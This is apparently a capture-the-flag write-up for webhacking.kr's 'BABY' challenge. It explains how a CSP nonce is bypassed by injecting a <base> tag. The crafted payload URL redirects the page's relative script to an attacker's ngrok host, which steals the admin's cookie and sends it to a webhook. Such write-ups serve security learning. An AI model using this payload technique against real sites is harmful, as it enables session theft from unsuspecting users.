BABY -- XSS (base)

URL: http://webhacking.kr:10010/?inject=fooarrow-up-right

BABY.png
➜ curl -b 'PHPSESSID=hi4uvai5sde90encr0ktq6879f' "http://webhacking.kr:10010/?inject=foo" -i
HTTP/1.1 200 OK
Date: Mon, 19 Aug 2024 16:44:37 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Security-Policy: script-src 'nonce-1RBeY+47Z3ak68nHTPcL0SxVYYc=';
Vary: Accept-Encoding
Content-Length: 145
Content-Type: text/html; charset=UTF-8

<h2>you can inject anything</h2>
<div id=injected>
foo
</div>
<script src=/script.js nonce=1RBeY+47Z3ak68nHTPcL0SxVYYc=></script>

While we can inject anything we can't execute anything due to CSP policy...

There's a report form which sends the URL to admin, meaning we have to steal their cookies somehow.

BABY-1.png

basearrow-up-right tag: The <base> HTMLarrow-up-right element specifies the base URL to use for all relative URLs in a document. There can be only one <base> element in a document.

BABY-2.png

We can take advantage of base tag to include the malicious JS hosted on our machine.

Create script like

Setup python server, then attach ngrok to that http port, Craft malicious link http://webhacking.kr:10010/?inject=<base%20href="https://e6ff-188-169-37-20.ngrok-free.app"%20/>arrow-up-right, send to admin

BABY-3.png

Receive the flag on desired webhook server

BABY-4.png

Last updated